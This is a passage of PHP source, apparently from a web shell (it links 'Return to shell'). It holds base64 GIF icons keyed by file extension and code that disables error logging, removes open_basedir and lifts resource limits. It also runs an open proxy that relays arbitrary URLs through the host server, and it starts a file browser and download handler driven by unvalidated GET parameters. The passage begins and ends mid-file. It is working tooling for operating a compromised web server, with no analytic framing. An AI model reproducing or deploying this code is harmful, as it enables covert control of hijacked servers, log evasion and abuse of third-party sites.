  82. 			array('vbs','js','scpt','sh','bsh','pl','pn','pm','plx','tcl','ps1','mrc','as','py','pyc','pyw','ps','ncf','asa','csh','cgi','jsfl','json','au3','awk','applescript','aut','nsi','rpy','wsf'),'lhEAAQAOYAAAAAAP///yIiIykpKigoKTAwMS8vMC0tLioqKzw8PTs7PDY2NzQ0NVRUVVJSU1FRUk1NTktLTEdHSEJCQ1FSU0xNTklKSzEyMi8wMC4vLzo7O1RVVVJTU0tMTENEREBBQT9AQAIDAhwcGyoqKWNjYoyMjIqKiomJiYGBgYCAgHl5eXh4eHFxcWxsbGhoaGVlZWNjY15eXl1dXVlZWVdXV1RUVFNTU0xMTEtLS0lJSUhISEZGRkVFRURERENDQ0JCQkFBQT8/Pzw8PDs7Ozk5OTg4ODc3NzY2NjMzMzExMSoqKikpKSQkJCMjIyEhIR4eHh0dHRwcHBsbGxISEhERERAQEA4ODgkJCQYGBgUFBQICAv///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAFsALAAAAAAQABAAAAeqgFuCg4SFhQ4PDRuLHBAVG4UWMy0rKiorLDQ3TCCENiQnJaIlJi41TjuEETMora0pMg8UhRI5MTEyMrc4HYYeQzAvwi8wQhKGH0tGRUbLRiMThgpSPDk6Ojk8IgmGR1dVU1RUU1VXC4YXWUjMy0hYF4YHWgD09SEYhAw/Ojw9/j1AMmQxQIiIkCA+Evr4IUSDlQKEmiiJ8qRiRShJMggohICAx48EBhwgFAgAOw==',

    83. 

  83. 			array('css','css1'),'lhEAAQAMQAAAAAAP///xw2hyA7jCVCkSpJlzBRnTZZpDxhqkFosEZvtUp0uk14vTBvw+zy+vD1/Dd2xz99y0mF0FKO1FyW2WSd3Wuk4e70++3z+rjU8e/1+////wAAAAAAAAAAAAAAACH5BAEAABsALAAAAAAQABAAAAVh4CaOZGmeaEoybOu+25LNdE0vm2LtfM8rm0Sl8ngMi0djYoOgaCjQZxRKQWwOk8tkm+VqJ4eNQYKRmM1ltMSwKUQiDgdcPn8XNgSIfs/fEzYDDYKDhIMDGwKJiouMKo6OIQA7',

    84. 

  84. 			array('rb','rbx','rhtml'),'lhEAAQAOYAAAAAAP///4wMDYsMDfuqSv2eRfLAmPiFOPO5kvS+mvB2Mex4OfNvLutkJvFqL+ZpNOhYIelYIuhWI+NWJelkNOOSdeKUduWWePSfgeSXe+JNH+JRH9tNHuSMcOSNcuKPddRFHt1OJvGJbfKLb9tDG9Q/HNp8Y96Ca8UxE9k8G9xBINJDIs9IKtVmUOJ3Yd15Y9x3Y/CGcPSOd/SOePOQevmUf/eSfviUf+B0YvGKdvOMeM1KOM9ZSdBQQbYUCrETC7UWDbAYEMFEPcppY45cWdealqkTDJsQDKATDawaFKAXE6UaFZwZFct2cooNDJUQDooNDYwODpIQD44PD4oREZcYFZEYFnAsLOXY2Pz6+v39/fHx8fDw8O/v7+7u7u3t7ezs7Ovr6+rq6unp6ejo6Ofn5+bm5uXl5eDg4KGhoZ6enpqampWVlZCQkIqKioSEhH19fXd3d3BwcGpqamNjY15eXlhYWFRUVFBQUP///wAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAHkALAAAAAAQABAAAAfZgHl5aYSFhoKIeWpajI2MamqJeWtaZGVlZmdnWmFra4lsWmNklphaZ2FsbIhtWmJjo5ZaaKhtbYJunGFir2SOWm6Cb1lFQkA+Q1ixZVpvgkQ/PTkvJjtNvLBacIJBODUzGhQZSWG7YlpxeUYuNjIrGwsfS19g5VpyeTw3OiwoHA8WlHj5Qk/LHCQ0YoSIMEGCigtMungZqIXOERggGhxwQCJFhSpcukjUUufJCQUECjCAUMKDlS1cQmqxI6UFghEiMCQw0MGKowB38kyJIsDJACgDqFzBw7RpIAA7',

    85. 

  85. 			array('pdf'),'lhEAAQANU+APj4+Pf39+LHyq18hs50ev7+/qqAiolobbR+h76+vq2Ci7GBivn5+ckABeO4u9aJjbItNYiIiLtMVOjo6IUYI3BBTap1fMsmNuzc3pcADObm5pQOG8HBwfDn6M6Kj8ycouvT1Kk9SPDw8IAADrAdJqVMVs7Ozrp5gbqKkOLN0LcACOCFh8mZmtyqrKJCTeHh4e/v78rKyuTk5PHx8fLy8tQnOKdDTncVH/z8/PX19bQhMJiBhqMeK////////wAAACH5BAEAAD4ALAAAAAAQABAAAAaqQJ+QZysabS4BQMg8TWRQmWZi6il9l5p2q73IEj0rQEcum1/gXgDFa7vfL07kMKfc7vg75SWLJWIWTAcxhDEsDQQwMDM0CEwWMi+SLQ0rM4w5jkIDiooiDSA0NDmZTAOXlw4qD6Q5AQumoqMQDyQSBAQOsJutHhkQtzwZNrs+BgEdIRtKAQAMGDgKTAYMJSMfDDjaOAUF0kIGOBgp291hPd8+FTvs7e47FUEAOw==',

    86. 

  86. 			array('exe','xbe','xex','elf','xpi','pef','nlm','o','app'),'lhEAAQANU1APX19fHx8fj4+Pv7++7u7vPz8/b29uzs7Gd4kfz8/PT09Pr6+vn5+f39/UyQj+jo6EeElenp6UN7mFCXi1iiglKaiVSdhztpoE6UjUmJk+vr6+/v7z1unmCtdmSxcubm5j5xnUF4mkWAll6qeVyofFqlflaghEqMkV2pevDw8ER9l+fn5+3t7UB0m/f39+rq6v7+/tPZ4MrMzf///4+Sl////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAADUALAAAAAAQABAAAAaAwJpwSCzWaMikcomMOZ9PREyKQMqu2GwWOet6YbDGgGFQBLgXTksCAYvJlzNtBgqJMo5GFqDacNknGBUJCwICAAUTBFx4ExYUA1kBKAdcgiYlI2QKZhsHL1yPJB0eLlksGg9cMzCEh4gpBBoRK6uthYgBBAcRDx9MwEpGw8TFQkEAOw==',

    87. 

  87. 			array('ini','inf'),'lhEAAQANU/APT09PTy8ry8vK2trfz8+/v7+uru8ri4uLq6uuDh4/Pz9vr6+fz7+76+vvv6+fLy8vj399jY2uXl6JKltZuyx/b19Pz7+rnN4Pr5+Pf29sbV34aGhvn4+J2dnaS90YSdtPTz9Pf19f39/vX08/r5+ZCQkPn49/Px8crKyvf5+rKyssXFxfP08+bl5Zawx7W1tfr6+uDf3/v6+oeesf38/Pj3+Pb19aa+0Imht/7+/f39/MDAwHl5eXKHmsjW4P///yH5BAEAAD8ALAAAAAAQABAAAAatwN9vt1MQjcUdTMjcMRoRHZTQQCFYzF+jkJDournEKiN4MAWLAoOg0+VyiMMBccYsZBa2O9eK0YU9PoGBPoWGB0IGN4o3OD55NHuIPYs9lh4uhIYvPykGPQAVEDg9NQ4FBJEqP5Q9Gho+pJqFqz83PScPFaQgHCSnDAOsExc4xhQzsz7CPxcTlj0fFDYZEBx2HUIig4KG3iVMGycnAQEgIxUh1SYbTDzv8PHwP0EAOw==',

    88. 

  88. 			array('bat','cmd','nt','ncf','com','pif'),'lhEAAQANU/AKW7zP39/Wd2jXGMpMjp/OP//4SatYmkutP9/1h1lPLy89v9//b29vj4+d3k7PDw8Pr6+qjE2MHe8PX19ZufqPr7/Pf4+LrO4T9hgvLx8ev//9Ph6pq4z3ehw/f39/n6+vb19ZCwxx1Xkfr5+fHy8fHy8vPz8+Lq8PLx8mRpgLbr/1iNvKGqu9v1+4qVpfP087HT6LPY7vn5+WF9m/n6+fTz8/j///X29fz8/PT09IOw1ShbkdDW3f///4+Sl////yH5BAEAAD8ALAAAAAAQABAAAAaowJ9wSCz+fMikconkOZ9PAU8qQPauHMfOEZHJLB7GxNrbIXo222XXCE9y1tAZgEkVLgkQKGeynnoUAzIXAy0bN3x9PgE7BRQ4EBkzEjsTNSYoSAEOCwsCMgAHMCwvJgoZmgYwBQQHIRIROgkrJKg+OBU7BhoqrTo7FQkdD0iQMhQxOy4ACRU6wSVIECMWFgwgpb8VIjrEPh9tHm85CiWy3d5M6khG7UNBADs=',

    89. 

  89. 			array('wmv','avi','swf','flv','f4v','3gp','asf','mov','mpg','rm','mp4'),'lhEAAQAOYAAAAAAP///7RUhI5ZdIZhkl5adjtASEdOVztBSEVMVFZeZ3R+iUVvm0ZOVkdOVUhPVm95g3F7hWZveHN9h2JqcmBqc3WAimJrc2Zvd2hxeTyZ6XJ9hkh2mGFrc3iEjXeDjHaCi2lze11mbV9ob12o22NtdGJsc3eDi213fh2q+kJ8njSGskez7U6En2CPp0uy5HXE6HSToIfA1XGgsmB2fmmbqGKXonLU4nLP3v///v7+/f39/Pz8+/v7+vr6+fr5+Pn49/j39vb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P/+/vz7+/j39/f29vb19fTz8/Py8uDf3/7+/v39/fb29srKysTExL+/v76+vry8vLu7u7m5ubi4uLe3t7S0tLKysrCwsKysrKurq5ycnI+Pj4WFhXh4eP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGgALAAAAAAQABAAAAfPgGhoWISFhVmCiYNMPDs7Ojo8OlZdimhZPYyOkDpXVZWJWj6ZjY86XF5eXIlbPx4eHbEVCighUquCXEAeUzU4ODc2OSE6XoleQR4nMTIyMC4hGcWJX04fOgMCAgQFSxg6X4lgTyAWDw4OCQgSJTtgiWFGFlQrKSkaDFMXPGGJYkcLNrR48YKFChMUmIhJNAbJBCo0ZswgwWHKiB5jEpGJEgHCgY8NDIwQ4YNMojJJiCA5MkRIESdNgPwok8iMkpRIoLR8GdNMojNAgwoNiiYQADs=',

    90. 

  90. 			array('mp3','aac','aif','m3u','midi','mid','mpa','ra','wav','wma'),'lhEAAQAOYAAAAAAP///4mm18rc7k2Y3Nzo8yGD12Kj2Gum2rHP6Ad4zcnd7Ad4ys3i8N/s9QKC1DSa2Vyw5+vz+ACN4RKV3zOTy9Xo8wCM0QOa6RCLzEKk1IvN8Nzq8eLv9gCe6YnE3pDI4p7O5ACe4Tqm0lnE8p7S58Le6gCX0gSj4C2hy/P39/7+/f39/Pz8+/v7+vr6+fn5+P38+/z7+vv6+fr5+Pn49/j39vf29fb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/v6+vr5+fn4+Pj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysTExL+/v76+vry8vLu7u7m5ubi4uLe3t7S0tLKysrCwsKysrKurq5ycnI+Pj4WFhXh4eP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGEALAAAAAAQABAAAAfEgGFhUYSFhVKCiYNCLSwsKystK09WimFSLoyOkCtQTpWJUy+ZjY8rVVdXVYlUNC9DMg4IBZBMTauCVTWuQx0PJJsrV4lXNjUwRBIRKCWmw4JYR8YwFgcfGUGPWIlZSDfGKikzBi0xLFmJWjzeDRsjAwouLS1aiVs9SQQUHhAJAjOZtiTi4qMHBhETGCwo4soFl0RdlviocOKChiNGGL7oksjLDx0mQoDgsAPjLi+JvgD56ENJDhwljdT4kgiMzZs4b4YJBAA7',

    91. 

  91. 			array('c','h'),'lhEAAQAOYAAAAAAP////z8/v7+//n6/t3k9+/y+/X3/fr7/vn6/efs+erv++zw+r3N8MPS8sXT8tLd9dni99ni9tvk+OLp+ebs+ubs+eXr+Onu+e/z/MrY88zZ9M7b9Nrj9tzl99ri8uDo+Ozx++/z+/T3/fv8/tLe9Nbh9tDb79fi9t7n+Nvj8uLq+ebt+ufs9aOxx+Xr9ejt9fX4/ZWjuKSzyZmnvKe2zMHP40JroDRIYjVJY4ulyHmKoJOit5WkuZyrwKu70am5z6SzyJ2swLLC2K+/1a6+1LnI3MjU5LrF1O/0+wE5fSFSjyJTjzJfl0NsoHeVuoGdwYWgwoiiw4ehwoeiwpGqyniKoaCwxLvK3crW5Pj7/vz9/uzx9f7///7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAF8ALAAAAAAQABAAAAeigF9fQ4SFRUAzLoKLgwGOj10+ODuMX0SPjgMkPUg4Vow/mAMCCTw5p4w1j1hSUy1JPKaMQY5PTFROTQsWPDiMV15cSlkEL1AqK72MQltGSggHGQwXBcqLNFpHSjAjIR8gKNaCMjEHTFExVUonJeJfPCIGNjdKSzoRG+48GBYVLAoUOnB4oI9CigkSTEDQ4KCBPg+xIkr0tagXjosYM1bayDEQADs=',

    92. 

  92. 			array('cpp','cxx','hxx','hpp','cc','jxx','c++','vcproj'),'lhEAAQAPcAAAAAAP////v7/vz8/v7+//39/vn6/vj5/eLo+Ovv+vH0/PT2/NLc9eDn+MbM2+jt+unu+tnd58HQ8cLR8cjV88rX883Z9NDb9dXf9drj97zE1b/H2OPq+erv+u/z/O7y+7zN8MXU8sbV8qOvxqCsw8vY887b9K+5zdHd9NPe9dji97fA0tnj993m+Nzl9+Do+PT3/fP2/Pj6/vf5/fv8/vf4+qWxx6u2y6q1yqizyNXh9rO9z9rk99ji9d7n+NLY49rf6OLm7aOxx7C7zbfB0ubt+e3y+uns8aSzyZ6rvrvF1LjBz/n7/jRIYjVJYztOaDxPaKnD5XmKoLHE3ZOit5alupaluZyrwKm5z7LC2K6+1LjH29rl9Ovw9wBOrg1Ysg5XsiBluS9uvDBvvTJxvjZzvjh1vzh2vz96wWuZ0DtPaEFUbEJVbYit2UlbcpGz3JW23Zm536bC43iKobDH5LPK57TL58ra7t/o8+bu+Ofr8GCSzG6c0X6m1LXM5sTX7MbY7dvn9Nzn8+Dn7+nv9v3+//z9/v7///7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAIkALAAAAAAQABAAAAjgABMJTJSloEEtWJAIGThwS4CHEA9daSKFYaJBEB8SoFFFiZM5AvGk6RMHYiEBB5KwUeMk0Z8vYMZ4eRMA0AAmM+4EiQAl0R4vXWq0kUPACw0DB7zEALIm0Rk0AfQg4uKlKtWqU9wkMiMmwJFABQx5mQFjgZcPP5ry8WKHEJkwMup46PAgygsHTxIJKlPVCxwFCTj4yNADBZEmA+n4yaMAAgIeOhhYoDAE8cAlRoo0YIHhQgkRE3BYFmiFQwsVKUxUCCEBhI3Riai42KBhxY4TN3KMIAGbSpPfwIPDtkg8UUAAOw==',

    93. 

  93. 			array('cs','c#=','csproj','csx'),'lhEAAQAOYAAAAAAP////z8/v39/u/y+/r7/vn6/dri9t7l9+Dn+OTq+ebr+Orv++nu+vb4/cHQ8cLR8cfV88rX88zY9NHc9eLp+eXr+ebs+bzN8MXU8s3a887b9NPe9dji99ji9t3m+Nzl99/n9+ju+vT3/dPf9dXh9trk99/o+Oju+e3y++zv9JOhtaSzyZyqvqeyws7U3dXb5OLm7PP1+DRIYjVJY2Byimh5kYKRpYiXrJOit5WkuZyrwKm5z6SzyLLC2LDA1q6+1LrF1O/0+3GDmniKoXmLonyNovT2+PP19/7//+Lt597r4Orz68rfy8/i0K7OrwCZAACVAACUAAGVAQKWAgSXBAaYBgeZBwiZCBmjGXjJeJ7Ynt/s3+Ds4OLu4vv9+////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAGAALAAAAAAQABAAAAezgGCCg4SFhD6IiUA8LD2GPgGRkkk7M0WFP5IBVlwDOkEzRIKRKpFYXFJYAjk0rYJdWVBeXlJVUE0GQjmsYAFQXUdaV1RMUlQODBc5M71QATKRVFNSSwQWJ8u9WV1IW1dRT1NKCyEH2WBdULJfVU4jIggeJOe9MQUwLy43QzY1GvRgcqRooCCBiRIUJkQAmANFixU4jPCrAYFhhQ8dOGyQkOEBBoYgdokcyWzQshkoU6oEEwgAOw==',

    94. 

  94. 			array('asm'),'lhEAAQAOYAAAAAAP////z8/v7+//39/vz8/fr7/uzu88PR8cbU8tXf9rzE1b/H2N7m+OPq+eLp+Obs+evw++Pm7bzN8L7P8aOvxqCsw8rY89Dc9K+5zdXg9rfA0tzl9+Do+O/z+/P2/Ofq8Pf5/fDy9u/x9fv8/vr7/aWxx6u2y6izyLO9z9rk9uHp+PD0+7/I19rf5/X4/aSzybvF1MfQ3c3U3vL2/Pn7/vL09/Hz9jRIYjVJYztOaDxPaGd2i6S72pOit5alupaluZyrwKm5z7LC2K6+1L7H0+3w9DJfl0Z1sUd2sUFUbElbcpOuz5ey1Ki/2qrA26m/2qzB26q7z7C8y6qzvuLp8nuKmunt8e7x9PL09vz9/v3+/v7+/v///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAF0ALAAAAAAQABAAAAewgF2CQ4SFREIwgoqDXI2OXEE4i4yPjT8xOZNSlY1FVFY8izIBpKVbBTcSO11IR11XUUdHAbKyTUZKXQFMRyNHTwNbRwNHWkciS11JsjZPR04CRwRHJMe5R1VHWQNQRzXF1EcHOsqyWLI9IeEGRyCSijMlBDQsNC8eHxEu74JT9RAPVjhQ0UBBC35dgHRQoQHDhQQIKEwwgdAHBwYLNqTIcAJFBQsVcYgcSRLhpJOCAgEAOw==',

    95. 

  95. 			array('dll','so','lib','sys','drv','cpl','ocx','scr'),'lhEAAQAOYAAAAAAP///wEXNihAXFh0kihbkc/i9fr7/Jqvwq/D1YOw1a/F2KzD1bPV6dbw/9vy/930/9ru9dbo7/f4+P7+/f39/Pz8+/v7+vr6+f38+/r5+Pn49/j39vf29fb19PX08/Py8ff19fb09PXz8/Ty8vPx8fLw8P38/Pz7+/r5+fj39/f29vb19fX09PTz8/Py8ubl5eDf3/b29srKysXFxcDAwL+/v729vby8vLq6urm5ubi4uLW1tbOzs7Gxsa2traysrJ2dnZCQkIaGhnl5ef///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACH5BAEAAEUALAAAAAAQABAAAAe/gEVFNYSFhTaCiYMoFhUVFBQWFDM6ikU2F4yOkBQ0MpWJNxiZjY8UOTs7OYk4GhgoDAULE5AwMauCORsoBRUPDwUUpjuJOxwMFQ0DDgYLw4k8KwUPAikJEQUnjzyJPSwMvwgSCgQKGRU9iT4iLAUQDwoFBwUKFj6JPyMtHrEEBwoHCKD4kQgICX0eOsSbp+ACkERBXhzcF4KcAldBEgkpAeLgBw8hVqjYoEFIoiEmOJJw8THkyCGJiMicSXNmkUAAOw==',

    96. 

  96. 			array('zip','rar','tar','gz','7z','ace','dmg','par','lzo','tgz','uha','z','zoo','r00','arj','bz','bz2','tbz','tbz2','uu','iso','xxe','cab','pbk','uuf','lzh','lha','deb','pkg','sit','zipx'),'lhEAAQANU/AABrRHkDRf9+0wCDUgBXpogBUgBVnoMCTgBTlZkJYVQTE6APZyoqKlwTGq2usWoPJsvP1YCAAKKjpvz9/3MTKyUlJW4ZH/j7/87P0hA1AAAxT8XFHdHRAJGRAJaWALm5AGm//wVitYzvzf++8FMOIGfqvli2//pnxehZtZjX/6Td/7Dk/7v14U3ns4HL/43R/xXfm/+c4j8/PwBMiHXF/8XHzNnb4ACIV5IBWRhNAAA7ZmITGE8AAP///wAAAP///yH5BAEAAD8ALAAAAAAQABAAAAahQFJjRywWG4qfUqKweDgdC+UxnSaVNVKgw/EEDt9w0nGBKBILtDqdOOwqmEmt0BvFYoL86YRqSHw2PRYbOIWGhQU8PzWADRE8kJGSZBAMPpeYmT4/cHIhPSsqKS8uNCAmJhp/gQQbBK8GsQizm4w2MxE6uru7GpSWmpqccTUDPSwiJSUtLTDOGT8MgQAfN9bX1gOb0TYAETng4eHQSjLBwkEAOw=='

    97. 

  97. 		);

    98. 

  98. 		for ($i = 0; $i<46; $i += 2) {

    99. 

  99. 			if (in_array($_GET['ext'], $ImgArray[$i], TRUE)) {

    100. 

  100. 				echo base64_decode('R0lGOD'.$ImgArray[$i+1]);die;

    101. 

  101. 			}

    102. 

  102. 		}

    103. 

  103. 		echo base64_decode($UnKnown); die;

    104. 

  104. 	}

    105. 

  105. }

    106. 

  106. 

    107. 

  107. if (function_exists('error_reporting')) { error_reporting(0); }

    108. 

  108. if (function_exists('set_time_limit')) { set_time_limit(0); }

    109. 

  109. if (function_exists('ini_set')) { ini_set('error_log',NULL); ini_set('log_errors',0); ini_set('file_uploads',1); ini_set('assert.quiet_eval',0); ini_set('allow_url_fopen',1); ini_set('memory_limit','10000M'); ini_set('upload_max_filesize','100000M'); ini_set('max_execution_time',300); ini_set('magic_quotes_sybase',0); ini_set('magic_quotes_runtime',0); ini_set('magic_quotes_gpc',0); ini_set('open_basedir',NULL); }

    110. 

  110. elseif (function_exists('ini_alter')) { ini_alter('error_log',NULL); ini_alter('log_errors',0); ini_alter('file_uploads',1); ini_alter('allow_url_fopen',1); ini_alter('memory_limit','100000M'); ini_alter('upload_max_filesize','100000M'); ini_set('max_execution_time',300); ini_alter('magic_quotes_sybase',0); ini_alter('magic_quotes_runtime',0); ini_alter('magic_quotes_gpc',0); ini_alter('open_basedir',NULL); }

    111. 

  111. if (function_exists('get_magic_quotes_gpc')) {

    112. 

  112. 	if (get_magic_quotes_gpc() === 1) {

    113. 

  113. 		if (isset($_GET)) { for ($i = 0, $Z = count($_GET); $i <= $Z; $i++) { $_GET[$i] = stripslashes($_GET[$i]); } }

    114. 

  114. 		if (isset($_POST)) { for ($i = 0, $Z = count($_POST); $i <= $Z; $i++) { $_POST[$i] = stripslashes($_POST[$i]); } }

    115. 

  115. 	}

    116. 

  116. }

    117. 

  117. if (function_exists('get_magic_quotes_runtime')) {

    118. 

  118. 	if (get_magic_quotes_runtime() === 1) {

    119. 

  119. 		if (function_exists('magic_quotes_runtime')) { magic_quotes_runtime(FALSE); }

    120. 

  120. 		if (function_exists('set_magic_quotes_runtime')) { set_magic_quotes_runtime(FALSE); }

    121. 

  121. 	}

    122. 

  122. }

    123. 

  123. else {

    124. 

  124. 	if (function_exists('magic_quotes_runtime')) { magic_quotes_runtime(FALSE); }

    125. 

  125. 	if (function_exists('set_magic_quotes_runtime')) { set_magic_quotes_runtime(FALSE); }

    126. 

  126. }

    127. 

  127. if (function_exists('ignore_user_abort')) { ignore_user_abort(FALSE); }

    128. 

  128. if (!isset($_SERVER)) { $_SERVER = $HTTP_SERVER_VARS; }

    129. 

  129. 

    130. 

  130. header('Content-Type: text/html; charset=utf-8');

    131. 

  131. 

    132. 

  132. if ($_GET['action'] === 'cURLframe') {

    133. 

  133. 	session_start();

    134. 

  134. 	if (!empty($_REQUEST['c37url'])) {

    135. 

  135. 		$cURLSess = curl_init();

    136. 

  136. 		if (!empty($_GET['c37url'])) { curl_setopt($cURLSess,CURLOPT_URL,base64_decode($_GET['c37url'])); $CurrentWebsite = $_GET['c37url']; }

    137. 

  137. 		else { curl_setopt($cURLSess,CURLOPT_URL,$_POST['c37url']); $CurrentWebsite = base64_encode($_GET['c37url']); }

    138. 

  138. 		

    139. 

  139. 		curl_setopt($cURLSess,CURLOPT_RETURNTRANSFER,TRUE);

    140. 

  140. 		curl_setopt($cURLSess,CURLOPT_FOLLOWLOCATION,TRUE);

    141. 

  141. 		curl_setopt($cURLSess,CURLOPT_AUTOREFERER,TRUE);

    142. 

  142. 		curl_setopt($cURLSess,CURLOPT_BINARYTRANSFER,TRUE);

    143. 

  143. 		

    144. 

  144. 		if (count($_POST) !== 0) { curl_setopt($cURLSess,CURLOPT_POST,TRUE); curl_setopt($cURLSess,CURLOPT_POSTFIELDS,$_POST); }

    145. 

  145. 		

    146. 

  146. 		if (!isset($_SESSION['UA']) && isset($_POST['UA'])) { $_SESSION['UA'] = $_POST['UA']; }

    147. 

  147. 		curl_setopt($cURLSess, CURLOPT_USERAGENT,$_SESSION['UA']);

    148. 

  148. 		

    149. 

  149. 		$Page = curl_exec($cURLSess);

    150. 

  150. 			

    151. 

  151. 			/*

    152. 

  152. 			$For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; } $Base = '<base href="'.$For.'://'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].htmlspecialchars($_SERVER['PHP_SELF']).'" />';

    153. 

  153. 			$Page = preg_replace('/(<\/head\s*>)/Us',$Base.'${1}',$Page);

    154. 

  154. 			

    155. 

  155. 			$Page = preg_replace('/(<body.*>)/Us','${1}<div style="color:#16387C;background-color:white;text-align:center;"><form method="post">Web Proxy | <a href="?" style="color:#16387C;">Retrun to shell<a> | Go to: <input type="text" size="46" name="c37url" id="c37url" /> <input type="submit" value="Browse" /></form></div>',$Page);

    156. 

  156. 			*/

    157. 

  157. 

    158. 

  158. 		header('Content-type: '.curl_getinfo($cURLSess,CURLINFO_CONTENT_TYPE));

    159. 

  159. 		$type = curl_getinfo($cURLSess,CURLINFO_CONTENT_TYPE);

    160. 

  160. 		if (empty($type) || strpos($type,'text/html') !== FALSE || strpos($type,'application/xhtml+xml') !== FALSE || strpos($type,'application/xml') !== FALSE) {

    161. 

  161. 			$For = 'http'; if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') { $For .= 's'; }

    162. 

  162. 			$Href = $For.'://'.$_SERVER['SERVER_NAME'].':'.$_SERVER['SERVER_PORT'].$_SERVER['PHP_SELF'].'?action=cURLframe&c37url=';

    163. 

  163. 

    164. 

  164. 			$doc = new DOMDocument;

    165. 

  165. 			$doc->loadHTML($Page);

    166. 

  166. 

    167. 

  167. 			$items = $doc->getElementsByTagName('a');

    168. 

  168. 

    169. 

  169. 			for ($i = 0; $i < $items->length; $i++) {

    170. 

  170. 				$CurItem = $items->item($i);

    171. 

  171. 				if ($CurItem->hasAttribute('href')) {

    172. 

  172. 					$Attribute = $CurItem->getAttribute('href');

    173. 

  173. 					if ($Attribute[0] === '/') { $CurItem->setAttribute('href',$Href.$CurrentWebsite.base64_encode($Attribute)); }

    174. 

  174. 					else { $CurItem->setAttribute('href',$Href.base64_encode($Attribute)); }

    175. 

  175. 				}

    176. 

  176. 			}

    177. 

  177. 

    178. 

  178. 			$items = $doc->getElementsByTagName('form');

    179. 

  179. 

    180. 

  180. 			for ($i = 0; $i < $items->length; $i++) {

    181. 

  181. 				$CurItem = $items->item($i);

    182. 

  182. 				if ($CurItem->hasAttribute('action')) {

    183. 

  183. 					$Attribute = $CurItem->getAttribute('action');

    184. 

  184. 					if ($Attribute[0] === '/') { $CurItem->setAttribute('action',$Href.$CurrentWebsite.base64_encode($Attribute)); }

    185. 

  185. 					else { $CurItem->setAttribute('action',$Href.base64_encode($Attribute)); }

    186. 

  186. 				}

    187. 

  187. 			}

    188. 

  188. 

    189. 

  189. 			$items = $doc->getElementsByTagName('img');

    190. 

  190. 

    191. 

  191. 			for ($i = 0; $i < $items->length; $i++) {

    192. 

  192. 				$CurItem = $items->item($i);

    193. 

  193. 				if ($CurItem->hasAttribute('src')) {

    194. 

  194. 					$CurItem->setAttribute('src',$Href.base64_encode($CurItem->getAttribute('src')));

    195. 

  195. 				}

    196. 

  196. 			}

    197. 

  197. 

    198. 

  198. 			echo $doc->saveHTML();

    199. 

  199. 		}

    200. 

  200. 		else { echo $Page; }

    201. 

  201. 		curl_close($cURLSess);

    202. 

  202. 		die;

    203. 

  203. 	}

    204. 

  204. }

    205. 

  205. 

    206. 

  206. $ShowFiles = TRUE;

    207. 

  207. if (isset($_GET['dir'])) {

    208. 

  208. 	if (!chdir($_GET['dir'])) { $ShowFiles = FALSE; }

    209. 

  209. }

    210. 

  210. $CDIR = getcwd();

    211. 

  211. if ($CDIR[strlen($CDIR)-1] !== DIRECTORY_SEPARATOR) { $CDIR .= DIRECTORY_SEPARATOR; } 

    212. 

  212. $SCDIR = urlencode($CDIR);

    213. 

  213. 

    214. 

  214. if ($IsAction) {

    215. 

  215. 	if ($_GET['action'] === 'info') { phpinfo(); die; }

    216. 

  216. 	if ($_GET['action'] === 'download') {

    217. 

